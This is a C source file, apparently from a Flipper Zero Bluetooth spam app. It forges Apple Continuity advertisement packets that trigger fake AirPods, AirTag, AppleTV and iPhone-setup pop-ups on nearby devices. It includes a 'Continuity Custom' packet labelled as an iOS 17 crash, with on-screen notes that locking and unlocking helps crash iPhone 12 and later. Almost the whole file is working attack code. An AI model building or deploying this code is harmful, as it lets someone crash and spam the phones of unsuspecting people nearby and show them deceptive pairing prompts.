continuity.c 27 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. const struct {
  8. uint16_t value;
  9. const char* name;
  10. } pp_models[] = {
  11. {0x0E20, "AirPods Pro"},
  12. {0x0620, "Beats Solo 3"},
  13. {0x0A20, "AirPods Max"},
  14. {0x1020, "Beats Flex"},
  15. {0x0055, "Airtag"},
  16. {0x0030, "Hermes Airtag"},
  17. {0x0220, "AirPods"},
  18. {0x0F20, "AirPods 2nd Gen"},
  19. {0x1320, "AirPods 3rd Gen"},
  20. {0x1420, "AirPods Pro 2nd Gen"},
  21. {0x0320, "Powerbeats 3"},
  22. {0x0B20, "Powerbeats Pro"},
  23. {0x0C20, "Beats Solo Pro"},
  24. {0x1120, "Beats Studio Buds"},
  25. {0x0520, "Beats X"},
  26. {0x0920, "Beats Studio 3"},
  27. {0x1720, "Beats Studio Pro"},
  28. {0x1220, "Beats Fit Pro"},
  29. {0x1620, "Beats Studio Buds+"},
  30. };
  31. const uint8_t pp_models_count = COUNT_OF(pp_models);
  32. const struct {
  33. uint8_t value;
  34. const char* name;
  35. } pp_prefixes[] = {
  36. {0x01, "New Device"},
  37. {0x07, "Not Your Device"},
  38. {0x05, "New Airtag"},
  39. };
  40. const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  41. const struct {
  42. uint8_t value;
  43. const char* name;
  44. } na_actions[] = {
  45. {0x13, "AppleTV AutoFill"},
  46. {0x27, "AppleTV Connecting..."},
  47. {0x20, "Join This AppleTV?"},
  48. {0x19, "AppleTV Audio Sync"},
  49. {0x1E, "AppleTV Color Balance"},
  50. {0x09, "Setup New iPhone"},
  51. {0x02, "Transfer Phone Number"},
  52. {0x0B, "HomePod Setup"},
  53. {0x01, "Setup New AppleTV"},
  54. {0x06, "Pair AppleTV"},
  55. {0x0D, "HomeKit AppleTV Setup"},
  56. {0x2B, "AppleID for AppleTV?"},
  57. };
  58. const uint8_t na_actions_count = COUNT_OF(na_actions);
  59. static const char* type_names[ContinuityTypeCOUNT] = {
  60. [ContinuityTypeAirDrop] = "AirDrop",
  61. [ContinuityTypeProximityPair] = "Continuity Pair",
  62. [ContinuityTypeAirplayTarget] = "Airplay Target",
  63. [ContinuityTypeHandoff] = "Handoff",
  64. [ContinuityTypeTetheringSource] = "Tethering Source",
  65. [ContinuityTypeNearbyAction] = "Continuity Action",
  66. [ContinuityTypeNearbyInfo] = "Nearby Info",
  67. [ContinuityTypeCustomCrash] = "Continuity Custom",
  68. };
  69. static const char* continuity_get_name(const ProtocolCfg* _cfg) {
  70. const ContinuityCfg* cfg = &_cfg->continuity;
  71. return type_names[cfg->type];
  72. }
  73. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  74. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  75. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  76. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  77. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  78. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  79. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  80. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  81. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  82. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  83. };
  84. static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
  85. const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;
  86. ContinuityType type;
  87. if(cfg) {
  88. type = cfg->type;
  89. } else {
  90. const ContinuityType types[] = {
  91. ContinuityTypeProximityPair,
  92. ContinuityTypeNearbyAction,
  93. ContinuityTypeCustomCrash,
  94. };
  95. type = types[rand() % COUNT_OF(types)];
  96. }
  97. uint8_t size = packet_sizes[type];
  98. uint8_t* packet = malloc(size);
  99. uint8_t i = 0;
  100. packet[i++] = size - 1; // Size
  101. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  102. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  103. packet[i++] = 0x00; // ...
  104. packet[i++] = type; // Continuity Type
  105. packet[i] = size - i - 1; // Continuity Size
  106. i++;
  107. switch(type) {
  108. case ContinuityTypeAirDrop: {
  109. packet[i++] = 0x00; // Zeros
  110. packet[i++] = 0x00; // ...
  111. packet[i++] = 0x00; // ...
  112. packet[i++] = 0x00; // ...
  113. packet[i++] = 0x00; // ...
  114. packet[i++] = 0x00; // ...
  115. packet[i++] = 0x00; // ...
  116. packet[i++] = 0x00; // ...
  117. packet[i++] = 0x01; // Version
  118. packet[i++] = (rand() % 256); // AppleID
  119. packet[i++] = (rand() % 256); // ...
  120. packet[i++] = (rand() % 256); // Phone Number
  121. packet[i++] = (rand() % 256); // ...
  122. packet[i++] = (rand() % 256); // Email
  123. packet[i++] = (rand() % 256); // ...
  124. packet[i++] = (rand() % 256); // Email2
  125. packet[i++] = (rand() % 256); // ...
  126. packet[i++] = 0x00; // Zero
  127. break;
  128. }
  129. case ContinuityTypeProximityPair: {
  130. uint16_t model;
  131. if(cfg && cfg->data.proximity_pair.model != 0x0000) {
  132. model = cfg->data.proximity_pair.model;
  133. } else {
  134. model = pp_models[rand() % pp_models_count].value;
  135. }
  136. uint8_t prefix;
  137. if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
  138. prefix = cfg->data.proximity_pair.prefix;
  139. } else {
  140. if(model == 0x0055 || model == 0x0030)
  141. prefix = 0x05;
  142. else
  143. prefix = 0x01;
  144. }
  145. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  146. packet[i++] = (model >> 0x08) & 0xFF;
  147. packet[i++] = (model >> 0x00) & 0xFF;
  148. packet[i++] = 0x55; // Status
  149. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  150. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  151. packet[i++] = (rand() % 256); // Lid Open Counter
  152. packet[i++] = 0x00; // Device Color
  153. packet[i++] = 0x00;
  154. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  155. i += 16;
  156. break;
  157. }
  158. case ContinuityTypeAirplayTarget: {
  159. packet[i++] = (rand() % 256); // Flags
  160. packet[i++] = (rand() % 256); // Configuration Seed
  161. packet[i++] = (rand() % 256); // IPv4 Address
  162. packet[i++] = (rand() % 256); // ...
  163. packet[i++] = (rand() % 256); // ...
  164. packet[i++] = (rand() % 256); // ...
  165. break;
  166. }
  167. case ContinuityTypeHandoff: {
  168. packet[i++] = 0x01; // Version
  169. packet[i++] = (rand() % 256); // Initialization Vector
  170. packet[i++] = (rand() % 256); // ...
  171. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  172. packet[i++] = (rand() % 256); // Encrypted Payload
  173. packet[i++] = (rand() % 256); // ...
  174. packet[i++] = (rand() % 256); // ...
  175. packet[i++] = (rand() % 256); // ...
  176. packet[i++] = (rand() % 256); // ...
  177. packet[i++] = (rand() % 256); // ...
  178. packet[i++] = (rand() % 256); // ...
  179. packet[i++] = (rand() % 256); // ...
  180. packet[i++] = (rand() % 256); // ...
  181. packet[i++] = (rand() % 256); // ...
  182. break;
  183. }
  184. case ContinuityTypeTetheringSource: {
  185. packet[i++] = 0x01; // Version
  186. packet[i++] = (rand() % 256); // Flags
  187. packet[i++] = (rand() % 101); // Battery Life
  188. packet[i++] = 0x00; // Cell Service Type
  189. packet[i++] = (rand() % 8); // ...
  190. packet[i++] = (rand() % 5); // Cell Service Strength
  191. break;
  192. }
  193. case ContinuityTypeNearbyAction: {
  194. uint8_t action;
  195. if(cfg && cfg->data.nearby_action.action != 0x00) {
  196. action = cfg->data.nearby_action.action;
  197. } else {
  198. action = na_actions[rand() % na_actions_count].value;
  199. }
  200. uint8_t flags;
  201. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  202. flags = cfg->data.nearby_action.flags;
  203. } else {
  204. flags = 0xC0;
  205. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  206. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  207. }
  208. packet[i++] = flags;
  209. packet[i++] = action;
  210. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  211. i += 3;
  212. break;
  213. }
  214. case ContinuityTypeNearbyInfo: {
  215. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  216. packet[i++] = (rand() % 256); // Status Flags
  217. packet[i++] = (rand() % 256); // Authentication Tag
  218. packet[i++] = (rand() % 256); // ...
  219. packet[i++] = (rand() % 256); // ...
  220. break;
  221. }
  222. case ContinuityTypeCustomCrash: {
  223. // Found by @ECTO-1A
  224. uint8_t action = na_actions[rand() % na_actions_count].value;
  225. uint8_t flags = 0xC0;
  226. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  227. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  228. i -= 2; // Override segment header
  229. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  230. packet[i++] = 0x05; // Continuity Size
  231. packet[i++] = flags;
  232. packet[i++] = action;
  233. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  234. i += 3;
  235. packet[i++] = 0x00; // Terminator (?)
  236. packet[i++] = 0x00; // ...
  237. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  238. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  239. i += 3;
  240. break;
  241. }
  242. default:
  243. break;
  244. }
  245. *_size = size;
  246. *_packet = packet;
  247. }
  248. enum {
  249. _ConfigPpExtraStart = ConfigExtraStart,
  250. ConfigPpModel,
  251. ConfigPpPrefix,
  252. ConfigPpCOUNT,
  253. };
  254. enum {
  255. _ConfigNaExtraStart = ConfigExtraStart,
  256. ConfigNaAction,
  257. ConfigNaFlags,
  258. ConfigNaCOUNT,
  259. };
  260. enum {
  261. _ConfigCcExtraStart = ConfigExtraStart,
  262. ConfigCcInfoLock,
  263. ConfigCcInfoDevice,
  264. ConfigCcCOUNT,
  265. };
  266. static void config_callback(void* _ctx, uint32_t index) {
  267. Ctx* ctx = _ctx;
  268. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  269. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  270. switch(cfg->type) {
  271. case ContinuityTypeProximityPair: {
  272. switch(index) {
  273. case ConfigPpModel:
  274. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  275. break;
  276. case ConfigPpPrefix:
  277. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  278. break;
  279. default:
  280. ctx->fallback_config_enter(ctx, index);
  281. break;
  282. }
  283. break;
  284. }
  285. case ContinuityTypeNearbyAction: {
  286. switch(index) {
  287. case ConfigNaAction:
  288. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  289. break;
  290. case ConfigNaFlags:
  291. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  292. break;
  293. default:
  294. ctx->fallback_config_enter(ctx, index);
  295. break;
  296. }
  297. break;
  298. }
  299. case ContinuityTypeCustomCrash: {
  300. switch(index) {
  301. case ConfigCcInfoLock:
  302. case ConfigCcInfoDevice:
  303. break;
  304. default:
  305. ctx->fallback_config_enter(ctx, index);
  306. break;
  307. }
  308. break;
  309. }
  310. default:
  311. ctx->fallback_config_enter(ctx, index);
  312. break;
  313. }
  314. }
  315. static void pp_model_changed(VariableItem* item) {
  316. ContinuityCfg* cfg = variable_item_get_context(item);
  317. uint8_t index = variable_item_get_current_value_index(item);
  318. if(index) {
  319. index--;
  320. cfg->data.proximity_pair.model = pp_models[index].value;
  321. variable_item_set_current_value_text(item, pp_models[index].name);
  322. } else {
  323. cfg->data.proximity_pair.model = 0x0000;
  324. variable_item_set_current_value_text(item, "Random");
  325. }
  326. }
  327. static void pp_prefix_changed(VariableItem* item) {
  328. ContinuityCfg* cfg = variable_item_get_context(item);
  329. uint8_t index = variable_item_get_current_value_index(item);
  330. if(index) {
  331. index--;
  332. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  333. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  334. } else {
  335. cfg->data.proximity_pair.prefix = 0x00;
  336. variable_item_set_current_value_text(item, "Auto");
  337. }
  338. }
  339. static void na_action_changed(VariableItem* item) {
  340. ContinuityCfg* cfg = variable_item_get_context(item);
  341. uint8_t index = variable_item_get_current_value_index(item);
  342. if(index) {
  343. index--;
  344. cfg->data.nearby_action.action = na_actions[index].value;
  345. variable_item_set_current_value_text(item, na_actions[index].name);
  346. } else {
  347. cfg->data.nearby_action.action = 0x00;
  348. variable_item_set_current_value_text(item, "Random");
  349. }
  350. }
  351. static void continuity_extra_config(Ctx* ctx) {
  352. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  353. VariableItemList* list = ctx->variable_item_list;
  354. VariableItem* item;
  355. size_t value_index;
  356. switch(cfg->type) {
  357. case ContinuityTypeProximityPair: {
  358. item =
  359. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
  360. const char* model_name = NULL;
  361. char model_name_buf[5];
  362. if(cfg->data.proximity_pair.model == 0x0000) {
  363. model_name = "Random";
  364. value_index = 0;
  365. } else {
  366. for(uint8_t i = 0; i < pp_models_count; i++) {
  367. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  368. model_name = pp_models[i].name;
  369. value_index = i + 1;
  370. break;
  371. }
  372. }
  373. if(!model_name) {
  374. snprintf(
  375. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  376. model_name = model_name_buf;
  377. value_index = pp_models_count + 1;
  378. }
  379. }
  380. variable_item_set_current_value_index(item, value_index);
  381. variable_item_set_current_value_text(item, model_name);
  382. item =
  383. variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg);
  384. const char* prefix_name = NULL;
  385. char prefix_name_buf[3];
  386. if(cfg->data.proximity_pair.prefix == 0x00) {
  387. prefix_name = "Auto";
  388. value_index = 0;
  389. } else {
  390. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  391. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  392. prefix_name = pp_prefixes[i].name;
  393. value_index = i + 1;
  394. break;
  395. }
  396. }
  397. if(!prefix_name) {
  398. snprintf(
  399. prefix_name_buf,
  400. sizeof(prefix_name_buf),
  401. "%02X",
  402. cfg->data.proximity_pair.prefix);
  403. prefix_name = prefix_name_buf;
  404. value_index = pp_prefixes_count + 1;
  405. }
  406. }
  407. variable_item_set_current_value_index(item, value_index);
  408. variable_item_set_current_value_text(item, prefix_name);
  409. break;
  410. }
  411. case ContinuityTypeNearbyAction: {
  412. item = variable_item_list_add(
  413. list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
  414. const char* action_name = NULL;
  415. char action_name_buf[3];
  416. if(cfg->data.nearby_action.action == 0x00) {
  417. action_name = "Random";
  418. value_index = 0;
  419. } else {
  420. for(uint8_t i = 0; i < na_actions_count; i++) {
  421. if(cfg->data.nearby_action.action == na_actions[i].value) {
  422. action_name = na_actions[i].name;
  423. value_index = i + 1;
  424. break;
  425. }
  426. }
  427. if(!action_name) {
  428. snprintf(
  429. action_name_buf,
  430. sizeof(action_name_buf),
  431. "%02X",
  432. cfg->data.nearby_action.action);
  433. action_name = action_name_buf;
  434. value_index = na_actions_count + 1;
  435. }
  436. }
  437. variable_item_set_current_value_index(item, value_index);
  438. variable_item_set_current_value_text(item, action_name);
  439. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  440. const char* flags_name = NULL;
  441. char flags_name_buf[3];
  442. if(cfg->data.nearby_action.flags == 0x00) {
  443. flags_name = "Auto";
  444. } else {
  445. snprintf(
  446. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  447. flags_name = flags_name_buf;
  448. }
  449. variable_item_set_current_value_text(item, flags_name);
  450. break;
  451. }
  452. case ContinuityTypeCustomCrash: {
  453. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  454. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  455. break;
  456. }
  457. default:
  458. break;
  459. }
  460. variable_item_list_set_enter_callback(list, config_callback, ctx);
  461. }
  462. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  463. [ContinuityTypeAirDrop] = 0,
  464. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  465. [ContinuityTypeAirplayTarget] = 0,
  466. [ContinuityTypeHandoff] = 0,
  467. [ContinuityTypeTetheringSource] = 0,
  468. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  469. [ContinuityTypeNearbyInfo] = 0,
  470. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  471. };
  472. static uint8_t continuity_config_count(const ProtocolCfg* _cfg) {
  473. const ContinuityCfg* cfg = &_cfg->continuity;
  474. return config_counts[cfg->type];
  475. }
  476. const Protocol protocol_continuity = {
  477. .icon = &I_apple,
  478. .get_name = continuity_get_name,
  479. .make_packet = continuity_make_packet,
  480. .extra_config = continuity_extra_config,
  481. .config_count = continuity_config_count,
  482. };
  483. static void pp_model_callback(void* _ctx, uint32_t index) {
  484. Ctx* ctx = _ctx;
  485. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  486. switch(index) {
  487. case 0:
  488. cfg->data.proximity_pair.model = 0x0000;
  489. scene_manager_previous_scene(ctx->scene_manager);
  490. break;
  491. case pp_models_count + 1:
  492. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  493. break;
  494. default:
  495. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  496. scene_manager_previous_scene(ctx->scene_manager);
  497. break;
  498. }
  499. }
  500. void scene_continuity_pp_model_on_enter(void* _ctx) {
  501. Ctx* ctx = _ctx;
  502. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  503. Submenu* submenu = ctx->submenu;
  504. uint32_t selected = 0;
  505. bool found = false;
  506. submenu_reset(submenu);
  507. submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
  508. if(cfg->data.proximity_pair.model == 0x0000) {
  509. found = true;
  510. selected = 0;
  511. }
  512. for(uint8_t i = 0; i < pp_models_count; i++) {
  513. submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
  514. if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
  515. found = true;
  516. selected = i + 1;
  517. }
  518. }
  519. submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
  520. if(!found) {
  521. found = true;
  522. selected = pp_models_count + 1;
  523. }
  524. submenu_set_selected_item(submenu, selected);
  525. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  526. }
  527. bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) {
  528. UNUSED(_ctx);
  529. UNUSED(event);
  530. return false;
  531. }
  532. void scene_continuity_pp_model_on_exit(void* _ctx) {
  533. UNUSED(_ctx);
  534. }
  535. static void pp_model_custom_callback(void* _ctx) {
  536. Ctx* ctx = _ctx;
  537. scene_manager_previous_scene(ctx->scene_manager);
  538. scene_manager_previous_scene(ctx->scene_manager);
  539. }
  540. void scene_continuity_pp_model_custom_on_enter(void* _ctx) {
  541. Ctx* ctx = _ctx;
  542. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  543. ByteInput* byte_input = ctx->byte_input;
  544. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  545. ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF;
  546. ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF;
  547. byte_input_set_result_callback(
  548. byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2);
  549. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  550. }
  551. bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  552. UNUSED(_ctx);
  553. UNUSED(event);
  554. return false;
  555. }
  556. void scene_continuity_pp_model_custom_on_exit(void* _ctx) {
  557. Ctx* ctx = _ctx;
  558. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  559. cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00);
  560. }
  561. static void pp_prefix_callback(void* _ctx, uint32_t index) {
  562. Ctx* ctx = _ctx;
  563. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  564. switch(index) {
  565. case 0:
  566. cfg->data.proximity_pair.prefix = 0x00;
  567. scene_manager_previous_scene(ctx->scene_manager);
  568. break;
  569. case pp_prefixes_count + 1:
  570. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom);
  571. break;
  572. default:
  573. cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value;
  574. scene_manager_previous_scene(ctx->scene_manager);
  575. break;
  576. }
  577. }
  578. void scene_continuity_pp_prefix_on_enter(void* _ctx) {
  579. Ctx* ctx = _ctx;
  580. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  581. Submenu* submenu = ctx->submenu;
  582. uint32_t selected = 0;
  583. bool found = false;
  584. submenu_reset(submenu);
  585. submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx);
  586. if(cfg->data.proximity_pair.prefix == 0x00) {
  587. found = true;
  588. selected = 0;
  589. }
  590. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  591. submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx);
  592. if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  593. found = true;
  594. selected = i + 1;
  595. }
  596. }
  597. submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx);
  598. if(!found) {
  599. found = true;
  600. selected = pp_prefixes_count + 1;
  601. }
  602. submenu_set_selected_item(submenu, selected);
  603. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  604. }
  605. bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) {
  606. UNUSED(_ctx);
  607. UNUSED(event);
  608. return false;
  609. }
  610. void scene_continuity_pp_prefix_on_exit(void* _ctx) {
  611. UNUSED(_ctx);
  612. }
  613. static void pp_prefix_custom_callback(void* _ctx) {
  614. Ctx* ctx = _ctx;
  615. scene_manager_previous_scene(ctx->scene_manager);
  616. scene_manager_previous_scene(ctx->scene_manager);
  617. }
  618. void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) {
  619. Ctx* ctx = _ctx;
  620. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  621. ByteInput* byte_input = ctx->byte_input;
  622. byte_input_set_header_text(byte_input, "Enter custom Prefix");
  623. ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF;
  624. byte_input_set_result_callback(
  625. byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  626. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  627. }
  628. bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) {
  629. UNUSED(_ctx);
  630. UNUSED(event);
  631. return false;
  632. }
  633. void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) {
  634. Ctx* ctx = _ctx;
  635. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  636. cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00);
  637. }
  638. static void na_action_callback(void* _ctx, uint32_t index) {
  639. Ctx* ctx = _ctx;
  640. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  641. switch(index) {
  642. case 0:
  643. cfg->data.nearby_action.action = 0x00;
  644. scene_manager_previous_scene(ctx->scene_manager);
  645. break;
  646. case na_actions_count + 1:
  647. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom);
  648. break;
  649. default:
  650. cfg->data.nearby_action.action = na_actions[index - 1].value;
  651. scene_manager_previous_scene(ctx->scene_manager);
  652. break;
  653. }
  654. }
  655. void scene_continuity_na_action_on_enter(void* _ctx) {
  656. Ctx* ctx = _ctx;
  657. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  658. Submenu* submenu = ctx->submenu;
  659. uint32_t selected = 0;
  660. bool found = false;
  661. submenu_reset(submenu);
  662. submenu_add_item(submenu, "Random", 0, na_action_callback, ctx);
  663. if(cfg->data.nearby_action.action == 0x00) {
  664. found = true;
  665. selected = 0;
  666. }
  667. for(uint8_t i = 0; i < na_actions_count; i++) {
  668. submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx);
  669. if(!found && cfg->data.nearby_action.action == na_actions[i].value) {
  670. found = true;
  671. selected = i + 1;
  672. }
  673. }
  674. submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx);
  675. if(!found) {
  676. found = true;
  677. selected = na_actions_count + 1;
  678. }
  679. submenu_set_selected_item(submenu, selected);
  680. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  681. }
  682. bool scene_continuity_na_action_on_event(void* _ctx, SceneManagerEvent event) {
  683. UNUSED(_ctx);
  684. UNUSED(event);
  685. return false;
  686. }
  687. void scene_continuity_na_action_on_exit(void* _ctx) {
  688. UNUSED(_ctx);
  689. }
  690. static void na_action_custom_callback(void* _ctx) {
  691. Ctx* ctx = _ctx;
  692. scene_manager_previous_scene(ctx->scene_manager);
  693. scene_manager_previous_scene(ctx->scene_manager);
  694. }
  695. void scene_continuity_na_action_custom_on_enter(void* _ctx) {
  696. Ctx* ctx = _ctx;
  697. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  698. ByteInput* byte_input = ctx->byte_input;
  699. byte_input_set_header_text(byte_input, "Enter custom Action Type");
  700. ctx->byte_store[0] = (cfg->data.nearby_action.action >> 0x00) & 0xFF;
  701. byte_input_set_result_callback(
  702. byte_input, na_action_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  703. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  704. }
  705. bool scene_continuity_na_action_custom_on_event(void* _ctx, SceneManagerEvent event) {
  706. UNUSED(_ctx);
  707. UNUSED(event);
  708. return false;
  709. }
  710. void scene_continuity_na_action_custom_on_exit(void* _ctx) {
  711. Ctx* ctx = _ctx;
  712. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  713. cfg->data.nearby_action.action = (ctx->byte_store[0] << 0x00);
  714. }
  715. static void na_flags_callback(void* _ctx) {
  716. Ctx* ctx = _ctx;
  717. scene_manager_previous_scene(ctx->scene_manager);
  718. }
  719. void scene_continuity_na_flags_on_enter(void* _ctx) {
  720. Ctx* ctx = _ctx;
  721. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
  722. ByteInput* byte_input = ctx->byte_input;
  723. byte_input_set_header_text(byte_input, "Press back for automatic");
  724. ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF;
  725. byte_input_set_result_callback(
  726. byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1);
  727. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  728. }
  729. bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) {
  730. Ctx* ctx = _ctx;
  731. if(event.type == SceneManagerEventTypeBack) {
  732. ctx->byte_store[0] = 0x00;
  733. }
  734. return false;
  735. }
  736. void scene_continuity_na_flags_on_exit(void* _ctx) {
  737. Ctx* ctx = _ctx;
  738. ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
